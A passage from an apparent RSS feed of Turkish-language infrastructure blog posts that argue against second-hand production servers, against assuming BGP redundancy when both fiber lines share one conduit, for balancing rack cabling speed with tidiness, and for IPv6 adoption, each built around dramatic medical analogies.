<p>Patronun tansiyonu anında 18'e fırlar: <em>"Delikanlı sen delirdin mi? Bir demir kutuya 600 bin lira mı vereceğiz? Ben o parayla şirkete sıfır servis minibüsü alırım!"</em></p>
<p>Patron hemen cebinden telefonunu çıkarır, Türkiye'nin o meşhur sarı ilan sitesine (Sahibinden) veya Forum Donanım/R10 ikinci el ilanlarına girer. Arama kutusuna yazar: <em>"Dell PowerEdge R720 / R730 - Temiz, az kullanılmış kurumsal sunucu."</em></p>
<p>İlan bulunur: 2014 yılından kalma, Avrupa'daki bir bankanın veri merkezinde 6 yıl boyunca 7/24 çalıştıktan sonra hurdaya ayrılmış, metal kasasında çizikler olan, fanları yorgunluktan inleyen 10 yıllık emektar bir sunucu.</p>
<p>Fiyatı: <strong>35.000 TL!</strong></p>
<p>Patron zafer kazanmış bir fatih gibi göğsünü kabartır: <em>"Gördün mü ticari zekayı? Senin 600 bin lira dediğin aletin aynısını 35 bine çözdüm. Kalan parayla da ofise yeni deri koltuk takımı alıyoruz!"</em></p>
<p>Sunucu alınır. Veri merkezindeki kabine vidalanır. Şirketin tüm e-ticaret veritabanı, müşteri kayıtları ve fatura altyapısı bu 10 yıllık hurdanın kucağına bir bebek gibi bırakılır.</p>
<p>Ve o gün; şirket yönetiminin farkında olmadığı tek bir gerçek vardır: <strong>O kabinin içine bir sunucu değil, pimi çekilmiş ve saati rastgele kurulmuş bir saatli bomba yerleştirilmiştir.</strong></p>
<h3>Çıkmacıdan Alınan Fren Hortumuyla 112 Ambulansı Sürmek</h3>
<p>Bu kumarın acil sağlık hizmetlerindeki yansımasını hayal edin.</p>
<p>İl sağlık müdürlüğünün veya özel bir ambulans şirketinin yöneticisi; bütçe tasarrufu yapmak adına acil yardım ambulanslarının bakımını yetkili servise yaptırmak yerine oto sanayi sitesindeki "çıkmacılara" (hurdacılara) götürüyor.</p>
<p>Ambulansın aşınmış fren disklerini, hidrolik hortumlarını ve direksiyon kutusunu; kaza yapmış pert arabalardan sökülen, garanti süresi dolmuş, metal yorgunluğu tavan yapmış hurda parçalarla yeniliyorlar. Yönetici gururla bütçeyi yarıya indirdiğini iddia ediyor.</p>
<p>Peki iki hafta sonra ne olur?</p>
<p>O ambulans, arka kabininde kalp krizi geçiren bir hastayı hastaneye yetiştirmek için sirenleri açmış, 130 km hızla yağmurlu bir viraja girdiğinde; o çıkma fren hortumu yüksek basınca dayanamayarak aniden patlar!</p>
<p>Frenler boşalır. Ambulans taklalar atarak bariyerlere çarpar. İçindeki hasta, paramedik ve şoför feci şekilde hayatını kaybeder.</p>
<p>O gün o savcı mahkemede yöneticiye <em>"Neden sıfır parça kullanmadın?"</em> diye sorduğunda, yöneticinin <em>"Ama bütçemiz çok kısıtlıydı, çıkma parça çok ucuzdu"</em> demesi onu cinayetten kurtarabilir mi?</p>
<p>İşte bir şirketin canlı üretim (production) ortamını 10 yıllık ikinci el donanımlara emanet etmesi; o ambulansın frenini çıkmacıdan almakla aynı derecede ahlaksız ve tehlikeli bir kumardır.</p>
<h3>Sessiz Katiller: Kurumuş Kapasitörler ve Lehim Çatlakları</h3>
<p>Mühendislikten anlamayan tüccar zihniyeti sanır ki; bir bilgisayar donanımı arabalar gibi kilometre yapmaz, dolayısıyla aşınmaz. <em>"Çip bu, aşınır mı hiç, elektrik verince çalışıyor işte"</em> derler.</p>
<p>Oysa donanımın içinde zamanla ölen gizli biyokimyasal ve fiziksel mekanizmalar vardır:</p>
<ol>
<li><strong>Elektrolitik Kapasitörlerin Kuruması:</strong> Güç kaynaklarının (PSU) ve anakartların üzerinde voltajı filtreleyen kimyasal kapasitörler bulunur. 7 yıl boyunca 60 derece sıcaklıkta kesintisiz çalışan bir kapasitörün içindeki sıvı elektrolit zamanla kurur. Kapasitör şişer ve bir gece ansızın patlar! Patladığı an şebekeden gelen 220 voltluk akımı doğrudan işlemciye ve RAM'lere basar; sunucunun tüm içi kömür haline gelir.</li>
<li><strong>Termal Yorgunluk ve Mikro Lehim Kırıkları (Micro-Fractures):</strong> Yıllarca ısınıp soğuyan BGA çipset lehimleri gevrekleşir. Gözle görülmeyen kılcal bir çatlak yüzünden; SAS backplane kartı diski aniden hattan düşürür. Veritabanı "I/O Error" verir ve veri bozulması (silent corruption) başlar.</li>
<li><strong>Firmware ve BIOS Desteğinin Bitmesi (EOL):</strong> Üretici o sunucunun desteğini 5 yıl önce kesmiştir. Yeni keşfedilen kritik işlemci açıklarına (Spectre, Meltdown vb.) karşı yama çıkmaz. Sunucunuz tüm siber korsanların önüne açık bir hedef olarak sunulur.</li>
</ol>
<h3>Tasarruf İllüzyonunun Acı Faturası</h3>
<p>O 35 bin liralık hurda sunucu, şirkete ilk arızasında neye mal olur?</p>
<p>Kasım ayındaki "Efsane Cuma" indirim gecesi saat 22:30. Sitede 10 bin anlık ziyaretçi alışveriş yapmaktadır. Yorgun güç kaynağı aşırı akıma dayanamaz ve bir patlama sesiyle dumanlar çıkararak iflas eder. Yedek güç kaynağı da aynı yaştadır; yükün tamamı üzerine bindiği anda o da ikinci saniyede yanar!</p>
<p>Veritabanı çöker. RAID kartının pili (BBU) bitik olduğu için bellekteki (cache) son yazma işlemleri diske aktarılamadan uçup gider.</p>
<p>Site 18 saat boyunca kapalı kalır. Şirketin o gece kaybettiği ciro: <strong>1.5 milyon TL!</strong></p>
<p>Müşterilerin kaybettiği güven ve basına yansıyan itibar kaybı ise parayla ölçülemez.</p>
<p>Patronun o gün tasarruf ettiğini sandığı 500 bin lira; tek bir gecede 3 milyon liralık bir enkaza dönüşmüştür.</p>
<h3>Mühendislik Gerçekçilikle Başlar</h3>
<p>Bütçeniz kısıtlı olabilir; döviz kuru belinizi büküyor olabilir. Bunlar Türkiye'nin inkar edilemez ekonomik gerçekleridir.</p>
<p>Ancak çözüm, hurdalıklardan sunucu toplamak değildir:</p>
<ul>
<li>Eğer donanıma bütçeniz yetmiyorsa, sunucu satın almayın; güvenilir, modern donanımlara sahip yerel veya global bulut sağlayıcılarından kullandıkça öde (pay-as-you-go) modeliyle sanal kaynak kiralayın.</li>
<li>İkinci el donanımı sadece ve sadece <strong>test, geliştirme (staging) veya laboratuvar ortamlarında</strong> kullanın.</li>
<li>Asla ve asla müşterinizin verisini, şirketinizin cirosunu ve mesleki itibarınızı garanti süresi dolmuş, ömrünü tamamlamış hurda silikonların insafına bırakmayın.</li>
</ul>
<p>Çünkü ucuz donanımla yönetilen bir production ortamı; hiçbir zaman bir mühendislik başarısı değil, sadece patlayacağı günü bekleyen acıklı bir saatli bombadır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ikinci-el-donanim</category>
            <category>sunucu-maliyeti</category>
            <category>refurbished</category>
            <category>donanim-arizasi</category>
            <category>risk-yonetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ikinci-el-kurumsal-donanim-riski-sahibinden-alinan-sunucuyla-production-yonetmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[BGP Peering ve "Yedekli İnternet" Masalı: Tek Bir Kazı Kepçesiyle Çöken Sistemler]]></title>
            <link>http://localhost:3000/blog/post/bgp-peering-ve-yedekli-internet-masali-tek-bir-kazi-kepcesiyle-coken-sistemler</link>
            <guid>bgp-peering-ve-yedekli-internet-masali-tek-bir-kazi-kepcesiyle-coken-sistemler</guid>
            <pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İki farklı telekom operatöründen hat alıp "tamamen yedekliyiz" diyen ağ mimarları ve belediyenin su borusu kazısındaki tek bir kepçe darbesiyle toprağa gömülen dijital kaleler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bgp-peering-ve-yedekli-internet-masali-tek-bir-kazi-kepcesiyle-coken-sistemler/thumbnail" alt=""> Bir ağ mühendisinin veya sistem yöneticisinin şirket yönetimine sunduğu en gurur verici ağ topolojisi diyagramını gözünüzün önüne getirin:</p>
<p>Ekranın tam ortasında şirketin çift omurga anahtarı (Core Switch) ve BGP (Border Gateway Protocol) yönlendiricileri durur. Bu yönlendiricilerden iki kalın, yeşil hat çıkar.</p>
<p>Birinci hat: <strong>Türk Telekom (ISP A - 10 Gbps)</strong><br>
İkinci hat: <strong>Turkcell Superonline (ISP B - 10 Gbps)</strong></p>
<p>Mühendis sunumda göğsünü kabartarak anlatır: <em>"Sayın yöneticilerim, BGP multi-homing protokolümüz devrededir. Eğer A operatöründe bir kopma veya arıza yaşanırsa, dinamik yönlendirme algoritmamız milisaniyeler içinde tüm trafiği B operatörüne aktarır. Sistemimiz %100 yedeklidir, bizi hiçbir güç internetsiz bırakamaz."</em></p>
<p>Yönetim kurulu alkışlar. Raporlar dosyalanır. Şirket kendisini dijital bir kale sanmaktadır.</p>
<p>Ta ki sıradan bir salı günü öğleden sonra saat 15:20'ye kadar.</p>
<p>Veri merkezinin bulunduğu caddenin iki sokak ötesinde, ilçe belediyesinin su işleri müdürlüğüne bağlı sarı renkli emektar bir JCB kazı kepçesi kaldırım kenarını kazmaya başlar. Kepçe operatörü gaza basar, çelik dişler toprağın 80 santimetre derinine dalar.</p>
<p>Küt!</p>
<p>Toprağın altından plastik boru parçaları ve saç teli inceliğinde yüzlerce cam lifi fırlar.</p>
<p>Aynı saniyede, veri merkezinin ağ izleme ekranlarındaki tüm grafikler kırmızıya döner:</p>
<ul>
<li><code>BGP Session with ISP-A: DOWN</code></li>
<li><code>BGP Session with ISP-B: DOWN</code></li>
</ul>
<p>Tüm sistemler susar. Milyonlarca liralık e-ticaret platformu dünya genelinde erişilmez hale gelir.</p>
<p>Mühendis panik içinde terminale bakar: <em>"Nasıl olur? İki operatörümüz de bağımsızdı, ikisi birden aynı saniyede nasıl çökebilir?!"</em></p>
<p>Cevap, Türkiye'nin en acımasız ve gizli altyapı gerçeğinde saklıdır: <strong>Mantıksal olarak birbirinden tamamen bağımsız olan o iki farklı telekom devinin fiber optik kabloları; caddenin altındaki aynı beton kanalın (künkün) içinden, yan yana geçmektedir!</strong></p>
<h3>Beyne Kan Taşıyan İki Şah Damarının Tek Darbeyle Ezilmesi</h3>
<p>Bu anatomik yanılsamanın insan biyolojisindeki karşılığı ölümcül bir travma sahnesidir.</p>
<p>İnsan beyni, doğanın en kusursuz yedekli dolaşım sistemine (Willis Poligonu) sahiptir. Beyne oksijen taşımak için boynun sağından ve solundan geçen iki kalın ana arter vardır: <strong>Sağ ve Sol Karotis Arterleri (Şah Damarları).</strong></p>
<p>Biri tıkanırsa, diğeri beynin dolaşımını sürdürebilir; doğa sistemi mantıksal olarak çift hatlı tasarlamıştır.</p>
<p>Şimdi bir insanın boynuna önden şiddetli, ezici bir künt darbe (örneğin bir kaza veya boğulma travması) aldığını düşünün.</p>
<p>O iki bağımsız damar boynun ön tarafındaki o daracık anatomik kompartımanda yan yana yer aldığı için; tek bir fiziksel darbe iki şah damarını birden trakeaya (nefes borusuna) doğru ezer ve lümenlerini kapatır. Beyne giden kan akımı sıfıra iner ve 4 dakika içinde geri dönüşsüz beyin ölümü gerçekleşir.</p>
<p>Sistemin "çift damarlı" olması, iki damarın da aynı dar boğazdan geçtiği gerçeğini değiştiremez.</p>
<p>Yazılım ve ağ dünyasında da haritada çizdiğiniz BGP otonom sistemleri (AS Numbers) ve dinamik yönlendirme protokolleri mantıksal birer hayalden ibarettir; gerçek hayatta verinizi taşıyan şey, o kaldırımın altındaki fiziksel cam elyaftır.</p>
<h3>Mantıksal Yedeklilik vs. Fiziksel Rota Çeşitliliği (Route Diversity)</h3>
<p>Türkiye'de altyapı kuran şirketlerin düştüğü en büyük yanılgı, <strong>"İki farklı operatörden fatura almayı fiziksel yedeklilik zannetmektir."</strong></p>
<p>Gerçek bir yedeklilik (True Route Diversity) sağlamak için şu soruların cevabını sahada bizzat gözlerinizle görmek zorundasınızdır:</p>
<ol>
<li><strong>Son Kilometre (Last-Mile) Tuzağı:</strong> İki farklı operatör binanıza girerken aynı bina giriş menfezinden (manhole) mi geçiyor? Eğer iki kablo da binanın otoparkındaki aynı plastik borudan giriyorsa, orada çıkacak küçük bir yangın iki hattınızı birden eritir.</li>
<li><strong>Kablo Güzergahı Denetimi:</strong> Türk Telekom'un fiber hattı caddeyi doğudan mı terk ediyor, Turkcell'in hattı batıdan mı? Eğer iki hat da aynı köprünün altından, aynı viyadüğün kablo tavasından geçiyorsa; o köprüdeki tek bir trafik kazası iki operatörü de aynı anda keser.</li>
<li><strong>Farklı Santral (PoP) Çıkışları:</strong> İki hattınız şehirdeki iki farklı telekom santraline mi bağlanıyor, yoksa caddenin başındaki aynı gri metal dağıtım kutusunda (saha dolabında) mı sonlanıyor?</li>
</ol>
<p>Bu soruların peşine düşmeyen bir ağ mühendisi; BGP konfigürasyonuna istediği kadar karmaşık route-map'ler, prefix-list'ler yazsın, kendini sadece bir kepçe operatörünün insafına teslim etmiş bir hayalperesttir.</p>
<h3>BGP Kepçeden Anlamaz</h3>
<p>BGP protokolü, internetin en zarif yönlendirme mekanizmasıdır. Ağdaki gecikmeleri ölçer, alternatif yolları (AS Path) hesaplar ve saniyeler içinde trafiğin rotasını çevirir.</p>
<p>Fakat BGP, toprağı 2 metre derinlikte yaran 5 tonluk bir kazı kepçesinden anlamaz.</p>
<p>Kablo fiziksel olarak koptuğunda, BGP'nin yapabileceği tek şey çaresizce session'ı düşürmek ve log dosyalarına kırmızı satırlar basmaktır.</p>
<h3>Dijital Kalelerin Fiziksel Gerçekliği</h3>
<p>Gerçek bir altyapı dayanıklılığı inşa etmek istiyorsanız, terminal ekranından kafanızı kaldırıp sokağa çıkmak zorundasınız:</p>
<ul>
<li>Tesisinize giren telekom hatlarının fiziksel kazı projelerini (as-built çizimlerini) operatörlerden talep edin.</li>
<li>İki hattın binaya <strong>tamamen zıt iki coğrafi yönden (Kuzey ve Güney cephelerinden)</strong> girdiğinden emin olun.</li>
<li>Mümkünse karasal fiber hatlarının yanına, fiziksel kazılardan etkilenmeyen bağımsız bir <strong>Mikrodalga Radyolink (Microwave Link)</strong> veya uydu yedekleme katmanı ekleyin.</li>
</ul>
<p>Unutmayın; ağ diyagramınız ekranda ne kadar kusursuz görünürse görünsün, sisteminizin gerçek gücü o sokaktaki en dikkatsiz kepçe operatörünün elindeki kumanda kolu kadardır.</p>
<p>Ve fiziksel dünyadaki kör noktalarını görmezden gelen hiçbir mühendislik, dijital dünyada ayakta kalamaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>bgp</category>
            <category>peering</category>
            <category>yedeklilik</category>
            <category>fiber-optik</category>
            <category>altyapi-zafiyeti</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bgp-peering-ve-yedekli-internet-masali-tek-bir-kazi-kepcesiyle-coken-sistemler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Kabin İçi Yerleşim" (Rack Layout) Estetiği vs. "Acele Takılmış Patch Kablosu"]]></title>
            <link>http://localhost:3000/blog/post/kabin-ici-yerlesim-rack-layout-estetigi-vs-acele-takilmis-patch-kablosu</link>
            <guid>kabin-ici-yerlesim-rack-layout-estetigi-vs-acele-takilmis-patch-kablosu</guid>
            <pubDate>Sun, 07 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sosyal medyadaki kusursuz cırt cırtlı kabin fotoğrafları, gece 03:00'te idareten takılan sarkık kablolar ve estetik mükemmeliyetçilik ile hayatta kalma pragmatizmi arasındaki derin savaş.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kabin-ici-yerlesim-rack-layout-estetigi-vs-acele-takilmis-patch-kablosu/thumbnail" alt=""> Reddit'in meşhur <code>/r/cableporn</code> sayfasına veya LinkedIn'deki altyapı yöneticilerinin gururlu paylaşımlarına baktığınızda, büyüleyici bir görsel şölenle karşılaşırsınız:</p>
<p>Kırk iki U'luk (42U) siyah mat bir kabin. İçindeki her bir sunucu, switch ve patch panel milimetrik bir simetriyle yerleştirilmiştir. Yüzlerce incecik Ethernet ve fiber optik kablosu, bir arpın telleri gibi kusursuz bir kavisle yan kanallara süzülür; hepsi aynı renkte, aynı açıyla bükülmüş, üzerlerine cırt cırtlı bandajlar sarılmıştır. Tek bir milimetrelik sarkma, tek bir renk uyumsuzluğu göremezsiniz.</p>
<p>Altındaki yorumlar övgü doludur: <em>"İşte gerçek mühendislik sanatı! Bunu yapan usta değil, bir heykeltıraştır."</em></p>
<p>Bu fotoğraflara bakıp büyülenmemek elde değildir.</p>
<p>Ancak o fotoğrafların arkasındaki gerçeği bilen kıdemli bir saha mühendisi, o kareye hafif acı bir tebessümle bakar. Çünkü o kusursuz kabin; ya henüz hiçbir canlı müşterinin bağlanmadığı, üzerinde gerçek bir trafiğin akmadığı steril bir showroom maketidir; ya da bir pazarlama broşürü için saatlerce uğraşılıp fotoğrafı çekildikten sonra kaderine terk edilecek yapay bir vitrindir.</p>
<p>Çünkü gerçek bir veri merkezinin, yaşayan ve nefes alan bir sistem odasının kaderi; o fotoğraf karesinde değil, <strong>gece saat 03:45'te patlayan bir kriz anında yazılır.</strong></p>
<h3>Estetik Cerrahi Dikişi vs. Acil Serviste Atılan Düğümler</h3>
<p>Bu zıtlığın tıp dünyasındaki karşılığı, estetik plastik cerrahi ile acil travma cerrahisi arasındaki o derin uçurumdur.</p>
<p>Bir plastik cerrahın kliniğinde burun veya yüz estetiği ameliyatını izleyin. Cerrah mikroskobik büyütmeli gözlüklerini takar; saç teli inceliğinde 6-0 veya 7-0 monofilaman dikiş iplikleri kullanır. Her bir dikişin aralığını cetvelle ölçer gibi eşit bırakır; düğümleri cildin altına gizler. Çünkü orada amaç sadece yarayı kapatmak değil, arkasında tek bir mikronluk iz bırakmayacak görsel bir mükemmeliyete ulaşmaktır.</p>
<p>Şimdi bu sahneyi kapatın ve acil servisin resüsitasyon odasını açın.</p>
<p>İçeriye pompalı tüfekle vurulmuş, femoral arteri parçalanmış, kanı tavana fışkıran ve tansiyonu 40'a düşmüş bir hasta girer. Hastanın kanı oluk gibi akmaktadır; 60 saniye içinde durdurulamazsa hasta hipovolemik şoktan ölecektir.</p>
<p>Odaya giren genel cerrah ne yapar?</p>
<p>Mikroskobik iplik aramaz, cetvelle mesafe ölçmez! Eline en kalın 1 numara ipeği veya çelik klempi alır; kanayan damarın üzerine acımasızca basar ve saniyeler içinde kalın, kaba, estetikten tamamen uzak ama <strong>kanamayı anında kesen o devasa hemostatik düğümü atar!</strong></p>
<p>O dikiş çirkindir, arkasında kalın bir yara izi bırakacaktır; ama o çirkin dikiş bir insanın hayatını kurtarmıştır. Hiçbir hekim kan kaybından ölmek üzere olan hastaya "estetik dikiş atacağım" diye vakit kaybetmez.</p>
<p>İşte kabin içine "aceleyle takılan o sarkık mavi patch kablosu", travma cerrahının attığı o kaba ama hayat kurtarıcı dikiştir.</p>
<h3>Gece 03:45: Sistem Çöktüğünde Estetik Ölür</h3>
<p>Gece saat 03:45. Şirketin ana ödeme geçidi switch'i aniden çöker. Milyonlarca liralık işlem askıda kalmıştır. Telefonlar susmamaktadır; yönetim kurulu ayaktadır.</p>
<p>Nöbetçi altyapı mühendisi elinde yedek switch ile kabinin önüne koşar. Cihazı acilen vidalar.</p>
<p>Şimdi o mühendisin önünde iki seçenek vardır:</p>
<ol>
<li><strong>Estetik Yolu:</strong> Kablo kanallarının vidalarını sökecek, kabloların boyunu tek tek cetvelle ölçecek, soketleri tek tek çakacak, cırt cırtları simetrik dizip kanala yerleştirecektir. Süre: <strong>en az 2.5 saat!</strong> (Bu esnada şirket 2 milyon TL ciro kaybedecek, müşteriler kaçacaktır.)</li>
<li><strong>Pragmatizm Yolu:</strong> Depodan bulduğu ilk 3 metrelik mavi CAT6 kablosunu kapacak, kabinin ön yüzünden, sunucuların kapağının arasından çaprazlama geçirip doğrudan porta sokacaktır. Süre: <strong>45 saniye!</strong></li>
</ol>
<p>Işıklar yeşile döner. Sistem ayağa kalkar. Kriz çözülür.</p>
<p>O an o kabinin önünde sarkan o çirkin, sarkık kablo; sosyal medyadaki hiçbir parlak fotoğraftan daha az değerli değildir. O kablo, ekibin kriz anındaki çevikliğinin ve hayatta kalma refleksinin bir madalyasıdır.</p>
<h3>Tehlike Nerede Başlar? "İdareten" Olanın Ebedileşmesi</h3>
<p>Peki, estetik düşmanlığı bir erdem midir? Elbette hayır!</p>
<p>Felaket, kriz anında o kabloyu alelacele takmakta değil; <strong>o kriz bittikten sonra o kabloyu orada ebediyen unutmaktadır.</strong></p>
<p>Ertesi gün mesai başlar. Kriz atlatılmıştır, ortalık sakinleşmiştir. Ancak kimse o sarkık kabloyu kanala almaya gitmez. İki hafta sonra başka bir kriz çıkar, bir kablo daha çaprazlama asılır. Altı ay sonra kabinin önü bir sarmaşık ormanına döner.</p>
<p>Artık acil müdahale pragmatizmi bitmiş; yerini tembellik, disiplinsizlik ve altyapı cehaleti almıştır. O kablolar birbirine dolandığı için, bir sonraki krizde mühendis doğru porta ulaşamaz hale gelir.</p>
<h3>Zanaatkarın Denge Sanatı</h3>
<p>Büyük altyapı mühendislerini vasatlardan ayıran şey, bu iki uç arasındaki dengeyi kurabilme olgunluğudur:</p>
<ul>
<li><strong>Kriz Anında Pragmatist Olun:</strong> Sistem yanarken estetik fetişizmi yapmayın. En hızlı, en güvenli ve en pratik geçici çözümü devreye sokun. Sistemi ayağa kaldırın.</li>
<li><strong>Barış Zamanında Estetisyen Olun:</strong> Fırtına dindiğinde, ortalık sakinleştiğinde o kabinin başına geri dönün. O geçici kabloyu sökün, boyuna göre sonlandırın, kanaldan geçirin, etiketini basın ve sistemi ilk günkü disiplinine kavuşturun.</li>
</ul>
<p>Kabin içi yerleşim ne sosyal medyaya gösteriş yapılacak sahte bir vitrindir, ne de döküntü bir hurdalıktır.</p>
<p>O kabin; kriz anında hızla müdahale edilebilecek kadar yalın, barış anında ise her bir hattı saniyeler içinde izlenebilecek kadar tertipli olmak zorundadır. Ve gerçek mühendislik, hız ile disiplinin bu kusursuz dengesinde nefes alır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kabin-duzeni</category>
            <category>rack-layout</category>
            <category>patch-kablosu</category>
            <category>saha-gercegi</category>
            <category>altyapi-estetigi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kabin-ici-yerlesim-rack-layout-estetigi-vs-acele-takilmis-patch-kablosu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[IP Adres Bloğu (IPv4) Borsası: Dijital Emlakçılık ve Kara Borsa]]></title>
            <link>http://localhost:3000/blog/post/ip-adres-blogu-ipv4-borsasi-dijital-emlakcilik-ve-kara-borsa</link>
            <guid>ip-adres-blogu-ipv4-borsasi-dijital-emlakcilik-ve-kara-borsa</guid>
            <pubDate>Sat, 06 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tükenen 4.3 milyar adres, /24'lük bloklar için ödenen servetler ve geleceğin IPv6 teknolojisi hazırda beklerken geçmişin tükenmiş arsalarına sıkışıp kalan sektörün dramı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ip-adres-blogu-ipv4-borsasi-dijital-emlakcilik-ve-kara-borsa/thumbnail" alt=""> 1981 yılında internetin kurucu babaları IPv4 (İnternet Protokolü Sürüm 4) standardını RFC 791 ile resmiyete döktüklerinde, 32 bitlik adresleme uzayının sağladığı toplam kapasiteyi hesapladılar:</p>
<p><strong>Tam 4 milyar 294 milyon 967 bin 296 adet tekil IP adresi.</strong></p>
<p>O dönemin soğuk savaş şartlarında, sadece birkaç üniversitenin ve askeri araştırma merkezinin birbirine bağlı olduğu bir dünyada bu rakam akıl almaz bir sonsuzluk gibi görünüyordu. Mühendisler kendi aralarında gülüşüyorlardı: <em>"Dünyadaki tüm bilgisayarları birbirine bağlasak bile bu adres havuzunu tüketmemiz yüzlerce yıl sürer."</em></p>
<p>Fakat aradan geçen kırk yılda dünya bambaşka bir yere evrildi.</p>
<p>Akıllı telefonlar, akıllı saatler, internete bağlanan buzdolapları, arabalar, sokak lambaları ve milyarlarca insan aynı anda ağa hücum etti. Ve 2010'lu yılların başında, küresel internet tahsis otoritesi IANA ve Avrupa bölge kayıt kuruluşu RIPE NCC o tarihi açıklamayı yaptı:</p>
<p><strong>"Son serbest IPv4 bloğu da tükenmiştir. Artık sıfırdan dağıtılacak tek bir adres dahi kalmamıştır."</strong></p>
<p>İşte o günden sonra, internetin en temel teknik tanımlayıcısı olan IP adresleri; bir mühendislik parametresi olmaktan çıkıp, dünyanın en vahşi, en pahalı ve spekülatif <strong>dijital emlak karaborsasına</strong> dönüştü.</p>
<h3>Organ Nakli Karaborsası ve Kök Hücre Tembelliği</h3>
<p>Bu tükenmişlik krizinin tıp dünyasındaki karşılığı trajik bir sağlık açmazıdır.</p>
<p>Dünyada böbrek veya karaciğer yetmezliği çeken yüz binlerce hasta vardır; ancak organ bağışı yapan insan sayısı son derece kısıtlıdır. Organ arzı tükenmiştir. Bu yetersizlik ne doğurur? Ne yazık ki yeraltı organ borsalarını, fahiş fiyatlara satılan organ transferlerini ve çaresiz insanların bu karaborsaya servet dökmesini.</p>
<p>Peki bu esnada modern tıp ne yapmaktadır?</p>
<p>Bilim insanları yıllardır laboratuvarlarda <strong>kök hücreden yapay organ üretimi</strong> ve <strong>biyouyumlu 3D doku baskısı</strong> üzerine çalışmakta, neredeyse sınırsız ve reddedilme riski olmayan yeni bir tıp devriminin kapılarını aralamaktadır.</p>
<p>Ancak bazı muhafazakar sağlık sistemleri ve hastaneler; bu yeni teknolojiye yatırım yapıp klinik altyapısını dönüştürmek yerine, eski organ nakli listelerindeki kısıtlı havuzun krizleriyle boğuşmaya devam eder. Çünkü yeni bir standarda geçmek masraflıdır, eğitim gerektirir ve konfor alanını bozar.</p>
<p>İşte küresel internet ekosisteminin ve özellikle Türkiye'deki telekom/hosting sektörünün durumu tam olarak budur.</p>
<p>Elimizde neredeyse evrendeki kum taneleri kadar sınırsız adres alanı sunan, güvenliği ve yönlendirme mimarisi katbekat üstün olan <strong>IPv6 (128 bit)</strong> teknolojisi yirmi yıldır hazırda beklemektedir. Ancak sektör, bu modern mimariye geçiş için altyapısını dönüştürmeye üşendiği için; tükenmiş IPv4 bloklarının karaborsasında birbirini ezmeye devam etmektedir.</p>
<h3>Dijital Emlakçılar ve /24 Blok Borsası</h3>
<p>Bugün Türkiye'de veya dünyada yeni bir hosting firması kurmak, veri merkezinde bir kabin kiralamak veya internete çıkış yapmak istediğinizde karşınıza çıkan ilk fatura sunucu masrafı değil, IP bloğu kirasıdır.</p>
<ul>
<li>En küçük yönlendirilebilir blok olan tek bir <strong>/24'lük blok (toplam 256 adet IP)</strong> için bugün piyasada aylık yüzlerce dolar kira veya satın almak isterseniz <strong>12.000 ila 15.000 Dolar</strong> arasında nakit para talep edilmektedir!</li>
<li>Bu durum, internet dünyasında yeni bir asalak sektör doğurmuştur: <strong>IP Broker'ları (Dijital Emlakçılar).</strong></li>
</ul>
<p>Zamanında, internetin ilk yıllarında üniversitelere veya eski şirketlere bedavaya tahsis edilmiş /16'lık (65.536 IP) veya /8'lik (16 milyon IP) devasa bloklar; bugün o eski kurumların kasalarındaki en değerli finansal varlığa dönüşmüştür. Şirketler iflas ederken fabrikalarını değil, ellerindeki IPv4 bloklarını açık artırmada milyonlarca dolara satarak borçlarını kapatmaktadır.</p>
<p>Genç bir girişimci veya küçük bir servis sağlayıcı; sunucuyu, elektriği, fiberi ucuza getirse bile, sırf o IP karaborsasının fahiş fiyatları yüzünden pazara girememekte veya müşterisine yüksek faturalar kesmek zorunda kalmaktadır.</p>
<h3>CGNAT Ucubesi: Bir Adrese 500 Kişiyi Sığdırmak</h3>
<p>Bu kıtlığın teknik dünyada yarattığı en büyük ucube ise <strong>CGNAT (Carrier-Grade Network Address Translation)</strong> teknolojisidir.</p>
<p>Operatörler ellerinde IP kalmadığı için ne yapar?</p>
<p>Tek bir gerçek public IP adresinin arkasına, binlerce masum ev kullanıcısını veya müşteriyi tıkıştırırlar. Aynı mahalledeki yüzlerce insan internete aynı IP adresi üzerinden çıkar.</p>
<p>Sonuç?</p>
<ul>
<li>Bir kullanıcının yaptığı bir yasadışı işlem yüzünden, aynı IP'yi paylaşan diğer 500 masum kullanıcının e-ticaret sitelerinden banlanması,</li>
<li>Online oyunlarda port açılamadığı için bağlantıların kopması,</li>
<li>Şirket içi VPN ve güvenlik sistemlerinin IP çakışmalarıyla kilitlenmesi...</li>
</ul>
<p>Yani internetin o saf, uçtan uca doğrudan iletişim (end-to-end connectivity) felsefesi; IPv4 inadı yüzünden yamalı bir tüneller labirentine dönüştürülmüştür.</p>
<h3>Tembelliğin Sonu: IPv6 Bir Tercih Değil, Zorunluluktur</h3>
<p>Türkiye'deki telekom operatörlerine, veri merkezlerine ve şirketlerin ağ yöneticilerine sorsanız hep aynı mazereti duyarsınız: <em>"Hocam bizim müşteriler henüz IPv6 istemiyor, hem eski firewall cihazlarımız tam desteklemiyor, masraf çıkarmayalım."</em></p>
<p>Bu mazeret, kömürle çalışan buharlı tren çağında <em>"Yolcular henüz elektrikli tren istemiyor, biz kömür yakmaya devam edelim"</em> demek kadar ilkel bir vizyonsuzluktur.</p>
<ul>
<li>Google'ın verilerine göre bugün dünyada IPv6 kullanım oranı %45'i aşmıştır. Hindistan, Almanya, Amerika gibi ülkeler trafiğinin çoğunu IPv6 üzerinden akıtmaktadır.</li>
<li>Türkiye ise bu istatistiklerde ne yazık ki en gerilerde, Afrika ülkeleriyle aynı ligde yer almaktadır.</li>
</ul>
